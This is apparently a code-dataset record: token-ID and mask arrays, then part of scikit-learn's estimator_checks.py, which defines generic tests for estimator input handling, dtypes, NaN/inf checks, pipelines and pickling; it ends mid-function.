24101,
14,
221,
1487,
279,
543,
1006,
314,
4513,
14,
267,
1449,
398,
4722,
63,
589,
275,
1052,
340,
4722,
63,
589,
365,
488,
587,
4722,
63,
589,
398,
327,
4242,
1249,
787,
314,
7869,
781,
7171,
21356,
372,
12,
880,
1642,
1678,
267,
327,
3062,
543,
1263,
4722,
1249,
2013,
12,
1314,
1172,
5117,
7464,
267,
327,
2419,
5204,
1314,
1443,
506,
4565,
15,
12916,
2163,
267,
4242,
63,
589,
275,
1211,
342,
267,
340,
4722,
63,
589,
26,
288,
340,
1228,
8,
8460,
63,
589,
12,
1059,
63,
1313,
304,
355,
28038,
275,
12540,
9828,
8,
3422,
29,
403,
9,
355,
340,
28038,
423,
6134,
63,
2936,
8,
8460,
63,
589,
304,
490,
4242,
63,
589,
8680,
1975,
63,
1162,
418,
275,
4722,
63,
589,
355,
587,
26,
490,
746,
31775,
480,
14500,
1249,
3035,
2860,
3913,
675,
18753,
2860,
12,
436,
1471,
675,
314,
2615,
1750,
3449
] |
[
334,
67,
9,
6927,
16922,
22453,
12,
665,
22333,
32,
4853,
14,
957,
30,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
2622,
199,
3,
199,
3,
2622,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
2622,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
2622,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
199,
3,
4155,
2803,
1655,
2366,
19,
13,
2453,
199,
504,
636,
2443,
363,
492,
334,
6116,
63,
646,
12,
4629,
12,
870,
63,
1593,
9,
199,
363,
6577,
363,
275,
730,
199,
199,
504,
3242,
14,
2550,
492,
31775,
12,
13358,
12,
2622,
14844,
199,
504,
3242,
14,
578,
63,
1208,
14,
4174,
492,
10849,
12,
1059,
63,
1313,
199,
504,
3242,
14,
578,
63,
1208,
423,
505,
492,
370,
63,
505,
199,
504,
3242,
14,
11059,
14,
25234,
492,
2198,
63,
11475,
12,
3715,
63,
589,
199,
504,
3242,
14,
5265,
14,
3422,
492,
859,
63,
3422,
12,
1595,
63,
3422,
199,
504,
3242,
14,
1160,
492,
12540,
9828,
421,
199,
3,
2104,
14545,
734,
4621,
6657,
5084,
199,
4307,
63,
7258,
63,
21194,
275,
7287,
272,
283,
1531,
297,
272,
283,
2676,
63,
1531,
297,
272,
283,
5641,
297,
272,
283,
2676,
63,
5641,
297,
272,
283,
1579,
297,
272,
283,
2613,
297,
272,
283,
2613,
63,
2936,
297,
272,
283,
2613,
63,
5054,
297,
272,
283,
2613,
63,
3756,
297,
272,
283,
646,
63,
5054,
297,
272,
283,
646,
63,
3756,
297,
272,
283,
525,
63,
1102,
297,
272,
283,
923,
63,
991,
297,
272,
283,
409,
63,
7783,
297,
272,
283,
1773,
297,
272,
283,
2024,
297,
199,
566,
421,
199,
533,
5673,
6213,
2842,
26,
339,
408,
272,
6006,
787,
9978,
15217,
282,
859,
436,
1423,
663,
883,
506,
19147,
26,
339,
327,
12139,
1824,
334,
509,
282,
5218,
1414,
9,
272,
446,
1595,
26,
5218,
11343,
13759,
339,
327,
2863,
1033,
23999,
367,
2257,
5445,
8118,
13080,
63,
475,
272,
446,
2257,
63,
1287,
26,
5218,
11343,
13759,
339,
327,
4750,
28829,
26,
272,
446,
1331,
26,
2928,
29,
65,
2053,
29,
66,
339,
327,
12139,
1824,
272,
446,
1595,
26,
1331,
2928,
29,
65,
2053,
29,
66,
339,
327,
6114,
1249,
1824,
12,
367,
9476,
21781,
666,
272,
446,
1331,
26,
267,
2928,
26,
282,
267,
2053,
26,
330,
339,
327,
486,
3685,
12,
1325,
18077,
7288,
18393,
272,
446,
1595,
26,
267,
859,
26,
1331,
267,
1249,
26,
881,
2928,
26,
282,
881,
2053,
26,
330,
339,
327,
9739,
18916,
1824,
367,
1414,
13,
466,
4621,
14,
1010,
642,
1930,
12,
314,
1249,
2013,
272,
327,
911,
2454,
465,
283,
4322,
7,
436,
911,
506,
10087,
701,
1263,
1249,
2013,
272,
327,
315,
1373,
402,
314,
1163,
6752,
334,
5254,
1249,
1334,
314,
1595,
12,
503,
272,
327,
4565,
687,
314,
1022,
29,
86,
1059,
272,
446,
1414,
26,
283,
14258,
7,
489,
1249,
26,
267,
13097,
26,
1994,
2791,
7,
2378,
961,
1021,
965,
2005,
402,
314,
9661,
370,
11358,
794,
3520,
1901,
314,
1824,
339,
446,
859,
26,
665,
578,
63,
354,
30,
489,
13080,
63,
475,
26,
665,
4144,
30,
489,
1249,
26,
665,
589,
30,
339,
3033,
1443,
2597,
506,
333,
324,
3046,
367,
9842,
5218,
1414,
2633,
14,
272,
408,
339,
347,
636,
826,
721,
277,
12,
2120,
63,
795,
29,
403,
304,
267,
2120,
63,
795,
275,
1052,
340,
2120,
63,
795,
365,
488,
587,
2120,
63,
795,
398,
340,
440,
1228,
8,
1765,
63,
795,
12,
1211,
304,
288,
746,
2622,
14844,
480,
1589,
730,
402,
283,
1765,
63,
795,
7,
1077,
506,
282,
1211,
12,
1325,
365,
282,
450,
83,
2,
450,
730,
8,
1765,
63,
795,
430,
267,
291,
423,
1765,
63,
795,
275,
2120,
63,
795,
339,
347,
485,
1294,
63,
578,
63,
875,
8,
277,
12,
859,
63,
875,
304,
267,
1449,
267,
1380,
859,
1561,
787,
19147,
2839,
26,
267,
1595,
26,
1331,
2928,
29,
65,
2053,
29,
66,
267,
314,
1642,
1777,
402,
314,
1059,
365,
314,
536,
402,
314,
859,
267,
436,
314,
4618,
787,
3326,
1126,
24522,
370,
314,
2368,
14,
267,
1449,
398,
4645,
275,
3715,
63,
589,
8,
578,
63,
875,
9,
267,
340,
822,
8,
4504,
9,
690,
413,
26,
288,
372,
334,
4504,
59,
16,
467,
298,
3680,
904,
8,
4504,
59,
17,
16720,
267,
587,
26,
288,
372,
334,
4504,
59,
16,
467,
6899,
339,
347,
485,
7721,
63,
3214,
8,
277,
12,
8377,
12,
1595,
29,
403,
12,
4722,
63,
589,
29,
403,
304,
267,
1449,
267,
2368,
883,
506,
24101,
14,
221,
1487,
279,
543,
1006,
314,
4513,
14,
267,
1449,
398,
4722,
63,
589,
275,
1052,
340,
4722,
63,
589,
365,
488,
587,
4722,
63,
589,
398,
327,
4242,
1249,
787,
314,
7869,
781,
7171,
21356,
372,
12,
880,
1642,
1678,
267,
327,
3062,
543,
1263,
4722,
1249,
2013,
12,
1314,
1172,
5117,
7464,
267,
327,
2419,
5204,
1314,
1443,
506,
4565,
15,
12916,
2163,
267,
4242,
63,
589,
275,
1211,
342,
267,
340,
4722,
63,
589,
26,
288,
340,
1228,
8,
8460,
63,
589,
12,
1059,
63,
1313,
304,
355,
28038,
275,
12540,
9828,
8,
3422,
29,
403,
9,
355,
340,
28038,
423,
6134,
63,
2936,
8,
8460,
63,
589,
304,
490,
4242,
63,
589,
8680,
1975,
63,
1162,
418,
275,
4722,
63,
589,
355,
587,
26,
490,
746,
31775,
480,
14500,
1249,
3035,
2860,
3913,
675,
18753,
2860,
12,
436,
1471,
675,
314,
2615,
1750,
3449,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
etkirsch/scikit-learn
|
sklearn/utils/estimator_checks.py
|
21
|
51976
|
from __future__ import print_function
import types
import warnings
import sys
import traceback
import inspect
import pickle
from copy import deepcopy
import numpy as np
from scipy import sparse
import struct
from sklearn.externals.six.moves import zip
from sklearn.externals.joblib import hash, Memory
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raises_regex
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_in
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_warns_message
from sklearn.utils.testing import META_ESTIMATORS
from sklearn.utils.testing import set_random_state
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import SkipTest
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.testing import assert_warns
from sklearn.base import (clone, ClassifierMixin, RegressorMixin,
TransformerMixin, ClusterMixin, BaseEstimator)
from sklearn.metrics import accuracy_score, adjusted_rand_score, f1_score
from sklearn.discriminant_analysis import LinearDiscriminantAnalysis
from sklearn.random_projection import BaseRandomProjection
from sklearn.feature_selection import SelectKBest
from sklearn.svm.base import BaseLibSVM
from sklearn.pipeline import make_pipeline
from sklearn.utils.validation import DataConversionWarning
from sklearn.utils import ConvergenceWarning
from sklearn.cross_validation import train_test_split
from sklearn.utils import shuffle
from sklearn.preprocessing import StandardScaler
from sklearn.datasets import load_iris, load_boston, make_blobs
BOSTON = None
CROSS_DECOMPOSITION = ['PLSCanonical', 'PLSRegression', 'CCA', 'PLSSVD']
MULTI_OUTPUT = ['CCA', 'DecisionTreeRegressor', 'ElasticNet',
'ExtraTreeRegressor', 'ExtraTreesRegressor', 'GaussianProcess',
'KNeighborsRegressor', 'KernelRidge', 'Lars', 'Lasso',
'LassoLars', 'LinearRegression', 'MultiTaskElasticNet',
'MultiTaskElasticNetCV', 'MultiTaskLasso', 'MultiTaskLassoCV',
'OrthogonalMatchingPursuit', 'PLSCanonical', 'PLSRegression',
'RANSACRegressor', 'RadiusNeighborsRegressor',
'RandomForestRegressor', 'Ridge', 'RidgeCV']
def _yield_non_meta_checks(name, Estimator):
yield check_estimators_dtypes
yield check_fit_score_takes_y
yield check_dtype_object
yield check_estimators_fit_returns_self
# Check that all estimator yield informative messages when
# trained on empty datasets
yield check_estimators_empty_data_messages
if name not in CROSS_DECOMPOSITION + ['SpectralEmbedding']:
# SpectralEmbedding is non-deterministic,
# see issue #4236
# cross-decomposition's "transform" returns X and Y
yield check_pipeline_consistency
if name not in ['Imputer']:
# Test that all estimators check their input for NaN's and infs
yield check_estimators_nan_inf
if name not in ['GaussianProcess']:
# FIXME!
# in particular GaussianProcess!
yield check_estimators_overwrite_params
if hasattr(Estimator, 'sparsify'):
yield check_sparsify_coefficients
yield check_estimator_sparse_data
# Test that estimators can be pickled, and once pickled
# give the same answer as before.
yield check_estimators_pickle
def _yield_classifier_checks(name, Classifier):
# test classfiers can handle non-array data
yield check_classifier_data_not_an_array
# test classifiers trained on a single label always return this label
yield check_classifiers_one_label
yield check_classifiers_classes
yield check_estimators_partial_fit_n_features
# basic consistency testing
yield check_classifiers_train
if (name not in ["MultinomialNB", "LabelPropagation", "LabelSpreading"]
# TODO some complication with -1 label
and name not in ["DecisionTreeClassifier",
"ExtraTreeClassifier"]):
# We don't raise a warning in these classifiers, as
# the column y interface is used by the forests.
yield check_supervised_y_2d
# test if NotFittedError is raised
yield check_estimators_unfitted
if 'class_weight' in Classifier().get_params().keys():
yield check_class_weight_classifiers
def _yield_regressor_checks(name, Regressor):
# TODO: test with intercept
# TODO: test with multiple responses
# basic testing
yield check_regressors_train
yield check_regressor_data_not_an_array
yield check_estimators_partial_fit_n_features
yield check_regressors_no_decision_function
yield check_supervised_y_2d
if name != 'CCA':
# check that the regressor handles int input
yield check_regressors_int
# Test if NotFittedError is raised
yield check_estimators_unfitted
def _yield_transformer_checks(name, Transformer):
# All transformers should either deal with sparse data or raise an
# exception with type TypeError and an intelligible error message
if name not in ['AdditiveChi2Sampler', 'Binarizer', 'Normalizer',
'PLSCanonical', 'PLSRegression', 'CCA', 'PLSSVD']:
yield check_transformer_data_not_an_array
# these don't actually fit the data, so don't raise errors
if name not in ['AdditiveChi2Sampler', 'Binarizer',
'FunctionTransformer', 'Normalizer']:
# basic tests
yield check_transformer_general
yield check_transformers_unfitted
def _yield_clustering_checks(name, Clusterer):
yield check_clusterer_compute_labels_predict
if name not in ('WardAgglomeration', "FeatureAgglomeration"):
# this is clustering on the features
# let's not test that here.
yield check_clustering
yield check_estimators_partial_fit_n_features
def _yield_all_checks(name, Estimator):
for check in _yield_non_meta_checks(name, Estimator):
yield check
if issubclass(Estimator, ClassifierMixin):
for check in _yield_classifier_checks(name, Estimator):
yield check
if issubclass(Estimator, RegressorMixin):
for check in _yield_regressor_checks(name, Estimator):
yield check
if issubclass(Estimator, TransformerMixin):
for check in _yield_transformer_checks(name, Estimator):
yield check
if issubclass(Estimator, ClusterMixin):
for check in _yield_clustering_checks(name, Estimator):
yield check
yield check_fit2d_predict1d
yield check_fit2d_1sample
yield check_fit2d_1feature
yield check_fit1d_1feature
yield check_fit1d_1sample
def check_estimator(Estimator):
"""Check if estimator adheres to sklearn conventions.
This estimator will run an extensive test-suite for input validation,
shapes, etc.
Additional tests for classifiers, regressors, clustering or transformers
will be run if the Estimator class inherits from the corresponding mixin
from sklearn.base.
Parameters
----------
Estimator : class
Class to check.
"""
name = Estimator.__class__.__name__
check_parameters_default_constructible(name, Estimator)
for check in _yield_all_checks(name, Estimator):
check(name, Estimator)
def _boston_subset(n_samples=200):
global BOSTON
if BOSTON is None:
boston = load_boston()
X, y = boston.data, boston.target
X, y = shuffle(X, y, random_state=0)
X, y = X[:n_samples], y[:n_samples]
X = StandardScaler().fit_transform(X)
BOSTON = X, y
return BOSTON
def set_fast_parameters(estimator):
# speed up some estimators
params = estimator.get_params()
if ("n_iter" in params
and estimator.__class__.__name__ != "TSNE"):
estimator.set_params(n_iter=5)
if "max_iter" in params:
warnings.simplefilter("ignore", ConvergenceWarning)
if estimator.max_iter is not None:
estimator.set_params(max_iter=min(5, estimator.max_iter))
# LinearSVR
if estimator.__class__.__name__ == 'LinearSVR':
estimator.set_params(max_iter=20)
if "n_resampling" in params:
# randomized lasso
estimator.set_params(n_resampling=5)
if "n_estimators" in params:
# especially gradient boosting with default 100
estimator.set_params(n_estimators=min(5, estimator.n_estimators))
if "max_trials" in params:
# RANSAC
estimator.set_params(max_trials=10)
if "n_init" in params:
# K-Means
estimator.set_params(n_init=2)
if estimator.__class__.__name__ == "SelectFdr":
# be tolerant of noisy datasets (not actually speed)
estimator.set_params(alpha=.5)
if estimator.__class__.__name__ == "TheilSenRegressor":
estimator.max_subpopulation = 100
if isinstance(estimator, BaseRandomProjection):
# Due to the jl lemma and often very few samples, the number
# of components of the random matrix projection will be probably
# greater than the number of features.
# So we impose a smaller number (avoid "auto" mode)
estimator.set_params(n_components=1)
if isinstance(estimator, SelectKBest):
# SelectKBest has a default of k=10
# which is more feature than we have in most case.
estimator.set_params(k=1)
class NotAnArray(object):
" An object that is convertable to an array"
def __init__(self, data):
self.data = data
def __array__(self, dtype=None):
return self.data
def _is_32bit():
"""Detect if process is 32bit Python."""
return struct.calcsize('P') * 8 == 32
def check_estimator_sparse_data(name, Estimator):
rng = np.random.RandomState(0)
X = rng.rand(40, 10)
X[X < .8] = 0
X_csr = sparse.csr_matrix(X)
y = (4 * rng.rand(40)).astype(np.int)
for sparse_format in ['csr', 'csc', 'dok', 'lil', 'coo', 'dia', 'bsr']:
X = X_csr.asformat(sparse_format)
# catch deprecation warnings
with warnings.catch_warnings():
if name in ['Scaler', 'StandardScaler']:
estimator = Estimator(with_mean=False)
else:
estimator = Estimator()
set_fast_parameters(estimator)
# fit and predict
try:
estimator.fit(X, y)
if hasattr(estimator, "predict"):
pred = estimator.predict(X)
assert_equal(pred.shape, (X.shape[0],))
if hasattr(estimator, 'predict_proba'):
probs = estimator.predict_proba(X)
assert_equal(probs.shape, (X.shape[0], 4))
except TypeError as e:
if 'sparse' not in repr(e):
print("Estimator %s doesn't seem to fail gracefully on "
"sparse data: error message state explicitly that "
"sparse input is not supported if this is not the case."
% name)
raise
except Exception:
print("Estimator %s doesn't seem to fail gracefully on "
"sparse data: it should raise a TypeError if sparse input "
"is explicitly not supported." % name)
raise
def check_dtype_object(name, Estimator):
# check that estimators treat dtype object as numeric if possible
rng = np.random.RandomState(0)
X = rng.rand(40, 10).astype(object)
y = (X[:, 0] * 4).astype(np.int)
y = multioutput_estimator_convert_y_2d(name, y)
with warnings.catch_warnings():
estimator = Estimator()
set_fast_parameters(estimator)
estimator.fit(X, y)
if hasattr(estimator, "predict"):
estimator.predict(X)
if hasattr(estimator, "transform"):
estimator.transform(X)
try:
estimator.fit(X, y.astype(object))
except Exception as e:
if "Unknown label type" not in str(e):
raise
X[0, 0] = {'foo': 'bar'}
msg = "argument must be a string or a number"
assert_raises_regex(TypeError, msg, estimator.fit, X, y)
@ignore_warnings
def check_fit2d_predict1d(name, Estimator):
# check by fitting a 2d array and prediting with a 1d array
rnd = np.random.RandomState(0)
X = 3 * rnd.uniform(size=(20, 3))
y = X[:, 0].astype(np.int)
y = multioutput_estimator_convert_y_2d(name, y)
estimator = Estimator()
set_fast_parameters(estimator)
if hasattr(estimator, "n_components"):
estimator.n_components = 1
if hasattr(estimator, "n_clusters"):
estimator.n_clusters = 1
set_random_state(estimator, 1)
estimator.fit(X, y)
for method in ["predict", "transform", "decision_function",
"predict_proba"]:
if hasattr(estimator, method):
try:
assert_warns(DeprecationWarning,
getattr(estimator, method), X[0])
except ValueError:
pass
@ignore_warnings
def check_fit2d_1sample(name, Estimator):
# check by fitting a 2d array and prediting with a 1d array
rnd = np.random.RandomState(0)
X = 3 * rnd.uniform(size=(1, 10))
y = X[:, 0].astype(np.int)
y = multioutput_estimator_convert_y_2d(name, y)
estimator = Estimator()
set_fast_parameters(estimator)
if hasattr(estimator, "n_components"):
estimator.n_components = 1
if hasattr(estimator, "n_clusters"):
estimator.n_clusters = 1
set_random_state(estimator, 1)
try:
estimator.fit(X, y)
except ValueError:
pass
@ignore_warnings
def check_fit2d_1feature(name, Estimator):
# check by fitting a 2d array and prediting with a 1d array
rnd = np.random.RandomState(0)
X = 3 * rnd.uniform(size=(10, 1))
y = X[:, 0].astype(np.int)
y = multioutput_estimator_convert_y_2d(name, y)
estimator = Estimator()
set_fast_parameters(estimator)
if hasattr(estimator, "n_components"):
estimator.n_components = 1
if hasattr(estimator, "n_clusters"):
estimator.n_clusters = 1
set_random_state(estimator, 1)
try:
estimator.fit(X, y)
except ValueError:
pass
@ignore_warnings
def check_fit1d_1feature(name, Estimator):
# check fitting 1d array with 1 feature
rnd = np.random.RandomState(0)
X = 3 * rnd.uniform(size=(20))
y = X.astype(np.int)
y = multioutput_estimator_convert_y_2d(name, y)
estimator = Estimator()
set_fast_parameters(estimator)
if hasattr(estimator, "n_components"):
estimator.n_components = 1
if hasattr(estimator, "n_clusters"):
estimator.n_clusters = 1
set_random_state(estimator, 1)
try:
estimator.fit(X, y)
except ValueError:
pass
@ignore_warnings
def check_fit1d_1sample(name, Estimator):
# check fitting 1d array with 1 feature
rnd = np.random.RandomState(0)
X = 3 * rnd.uniform(size=(20))
y = np.array([1])
y = multioutput_estimator_convert_y_2d(name, y)
estimator = Estimator()
set_fast_parameters(estimator)
if hasattr(estimator, "n_components"):
estimator.n_components = 1
if hasattr(estimator, "n_clusters"):
estimator.n_clusters = 1
set_random_state(estimator, 1)
try:
estimator.fit(X, y)
except ValueError :
pass
def check_transformer_general(name, Transformer):
X, y = make_blobs(n_samples=30, centers=[[0, 0, 0], [1, 1, 1]],
random_state=0, n_features=2, cluster_std=0.1)
X = StandardScaler().fit_transform(X)
X -= X.min()
_check_transformer(name, Transformer, X, y)
_check_transformer(name, Transformer, X.tolist(), y.tolist())
def check_transformer_data_not_an_array(name, Transformer):
X, y = make_blobs(n_samples=30, centers=[[0, 0, 0], [1, 1, 1]],
random_state=0, n_features=2, cluster_std=0.1)
X = StandardScaler().fit_transform(X)
# We need to make sure that we have non negative data, for things
# like NMF
X -= X.min() - .1
this_X = NotAnArray(X)
this_y = NotAnArray(np.asarray(y))
_check_transformer(name, Transformer, this_X, this_y)
def check_transformers_unfitted(name, Transformer):
X, y = _boston_subset()
with warnings.catch_warnings(record=True):
transformer = Transformer()
assert_raises((AttributeError, ValueError), transformer.transform, X)
def _check_transformer(name, Transformer, X, y):
if name in ('CCA', 'LocallyLinearEmbedding', 'KernelPCA') and _is_32bit():
# Those transformers yield non-deterministic output when executed on
# a 32bit Python. The same transformers are stable on 64bit Python.
# FIXME: try to isolate a minimalistic reproduction case only depending
# on numpy & scipy and/or maybe generate a test dataset that does not
# cause such unstable behaviors.
msg = name + ' is non deterministic on 32bit Python'
raise SkipTest(msg)
n_samples, n_features = np.asarray(X).shape
# catch deprecation warnings
with warnings.catch_warnings(record=True):
transformer = Transformer()
set_random_state(transformer)
set_fast_parameters(transformer)
# fit
if name in CROSS_DECOMPOSITION:
y_ = np.c_[y, y]
y_[::2, 1] *= 2
else:
y_ = y
transformer.fit(X, y_)
X_pred = transformer.fit_transform(X, y=y_)
if isinstance(X_pred, tuple):
for x_pred in X_pred:
assert_equal(x_pred.shape[0], n_samples)
else:
# check for consistent n_samples
assert_equal(X_pred.shape[0], n_samples)
if hasattr(transformer, 'transform'):
if name in CROSS_DECOMPOSITION:
X_pred2 = transformer.transform(X, y_)
X_pred3 = transformer.fit_transform(X, y=y_)
else:
X_pred2 = transformer.transform(X)
X_pred3 = transformer.fit_transform(X, y=y_)
if isinstance(X_pred, tuple) and isinstance(X_pred2, tuple):
for x_pred, x_pred2, x_pred3 in zip(X_pred, X_pred2, X_pred3):
assert_array_almost_equal(
x_pred, x_pred2, 2,
"fit_transform and transform outcomes not consistent in %s"
% Transformer)
assert_array_almost_equal(
x_pred, x_pred3, 2,
"consecutive fit_transform outcomes not consistent in %s"
% Transformer)
else:
assert_array_almost_equal(
X_pred, X_pred2, 2,
"fit_transform and transform outcomes not consistent in %s"
% Transformer)
assert_array_almost_equal(
X_pred, X_pred3, 2,
"consecutive fit_transform outcomes not consistent in %s"
% Transformer)
assert_equal(len(X_pred2), n_samples)
assert_equal(len(X_pred3), n_samples)
# raises error on malformed input for transform
if hasattr(X, 'T'):
# If it's not an array, it does not have a 'T' property
assert_raises(ValueError, transformer.transform, X.T)
@ignore_warnings
def check_pipeline_consistency(name, Estimator):
if name in ('CCA', 'LocallyLinearEmbedding', 'KernelPCA') and _is_32bit():
# Those transformers yield non-deterministic output when executed on
# a 32bit Python. The same transformers are stable on 64bit Python.
# FIXME: try to isolate a minimalistic reproduction case only depending
# scipy and/or maybe generate a test dataset that does not
# cause such unstable behaviors.
msg = name + ' is non deterministic on 32bit Python'
raise SkipTest(msg)
# check that make_pipeline(est) gives same score as est
X, y = make_blobs(n_samples=30, centers=[[0, 0, 0], [1, 1, 1]],
random_state=0, n_features=2, cluster_std=0.1)
X -= X.min()
y = multioutput_estimator_convert_y_2d(name, y)
estimator = Estimator()
set_fast_parameters(estimator)
set_random_state(estimator)
pipeline = make_pipeline(estimator)
estimator.fit(X, y)
pipeline.fit(X, y)
funcs = ["score", "fit_transform"]
for func_name in funcs:
func = getattr(estimator, func_name, None)
if func is not None:
func_pipeline = getattr(pipeline, func_name)
result = func(X, y)
result_pipe = func_pipeline(X, y)
assert_array_almost_equal(result, result_pipe)
@ignore_warnings
def check_fit_score_takes_y(name, Estimator):
# check that all estimators accept an optional y
# in fit and score so they can be used in pipelines
rnd = np.random.RandomState(0)
X = rnd.uniform(size=(10, 3))
y = np.arange(10) % 3
y = multioutput_estimator_convert_y_2d(name, y)
estimator = Estimator()
set_fast_parameters(estimator)
set_random_state(estimator)
funcs = ["fit", "score", "partial_fit", "fit_predict", "fit_transform"]
for func_name in funcs:
func = getattr(estimator, func_name, None)
if func is not None:
func(X, y)
args = inspect.getargspec(func).args
assert_true(args[2] in ["y", "Y"])
@ignore_warnings
def check_estimators_dtypes(name, Estimator):
rnd = np.random.RandomState(0)
X_train_32 = 3 * rnd.uniform(size=(20, 5)).astype(np.float32)
X_train_64 = X_train_32.astype(np.float64)
X_train_int_64 = X_train_32.astype(np.int64)
X_train_int_32 = X_train_32.astype(np.int32)
y = X_train_int_64[:, 0]
y = multioutput_estimator_convert_y_2d(name, y)
for X_train in [X_train_32, X_train_64, X_train_int_64, X_train_int_32]:
with warnings.catch_warnings(record=True):
estimator = Estimator()
set_fast_parameters(estimator)
set_random_state(estimator, 1)
estimator.fit(X_train, y)
for method in ["predict", "transform", "decision_function",
"predict_proba"]:
if hasattr(estimator, method):
getattr(estimator, method)(X_train)
def check_estimators_empty_data_messages(name, Estimator):
e = Estimator()
set_fast_parameters(e)
set_random_state(e, 1)
X_zero_samples = np.empty(0).reshape(0, 3)
# The precise message can change depending on whether X or y is
# validated first. Let us test the type of exception only:
assert_raises(ValueError, e.fit, X_zero_samples, [])
X_zero_features = np.empty(0).reshape(3, 0)
# the following y should be accepted by both classifiers and regressors
# and ignored by unsupervised models
y = multioutput_estimator_convert_y_2d(name, np.array([1, 0, 1]))
msg = "0 feature\(s\) \(shape=\(3, 0\)\) while a minimum of \d* is required."
assert_raises_regex(ValueError, msg, e.fit, X_zero_features, y)
def check_estimators_nan_inf(name, Estimator):
rnd = np.random.RandomState(0)
X_train_finite = rnd.uniform(size=(10, 3))
X_train_nan = rnd.uniform(size=(10, 3))
X_train_nan[0, 0] = np.nan
X_train_inf = rnd.uniform(size=(10, 3))
X_train_inf[0, 0] = np.inf
y = np.ones(10)
y[:5] = 0
y = multioutput_estimator_convert_y_2d(name, y)
error_string_fit = "Estimator doesn't check for NaN and inf in fit."
error_string_predict = ("Estimator doesn't check for NaN and inf in"
" predict.")
error_string_transform = ("Estimator doesn't check for NaN and inf in"
" transform.")
for X_train in [X_train_nan, X_train_inf]:
# catch deprecation warnings
with warnings.catch_warnings(record=True):
estimator = Estimator()
set_fast_parameters(estimator)
set_random_state(estimator, 1)
# try to fit
try:
estimator.fit(X_train, y)
except ValueError as e:
if 'inf' not in repr(e) and 'NaN' not in repr(e):
print(error_string_fit, Estimator, e)
traceback.print_exc(file=sys.stdout)
raise e
except Exception as exc:
print(error_string_fit, Estimator, exc)
traceback.print_exc(file=sys.stdout)
raise exc
else:
raise AssertionError(error_string_fit, Estimator)
# actually fit
estimator.fit(X_train_finite, y)
# predict
if hasattr(estimator, "predict"):
try:
estimator.predict(X_train)
except ValueError as e:
if 'inf' not in repr(e) and 'NaN' not in repr(e):
print(error_string_predict, Estimator, e)
traceback.print_exc(file=sys.stdout)
raise e
except Exception as exc:
print(error_string_predict, Estimator, exc)
traceback.print_exc(file=sys.stdout)
else:
raise AssertionError(error_string_predict, Estimator)
# transform
if hasattr(estimator, "transform"):
try:
estimator.transform(X_train)
except ValueError as e:
if 'inf' not in repr(e) and 'NaN' not in repr(e):
print(error_string_transform, Estimator, e)
traceback.print_exc(file=sys.stdout)
raise e
except Exception as exc:
print(error_string_transform, Estimator, exc)
traceback.print_exc(file=sys.stdout)
else:
raise AssertionError(error_string_transform, Estimator)
def check_estimators_pickle(name, Estimator):
"""Test that we can pickle all estimators"""
check_methods = ["predict", "transform", "decision_function",
"predict_proba"]
X, y = make_blobs(n_samples=30, centers=[[0, 0, 0], [1, 1, 1]],
random_state=0, n_features=2, cluster_std=0.1)
# some estimators can't do features less than 0
X -= X.min()
# some estimators only take multioutputs
y = multioutput_estimator_convert_y_2d(name, y)
# catch deprecation warnings
with warnings.catch_warnings(record=True):
estimator = Estimator()
set_random_state(estimator)
set_fast_parameters(estimator)
estimator.fit(X, y)
result = dict()
for method in check_methods:
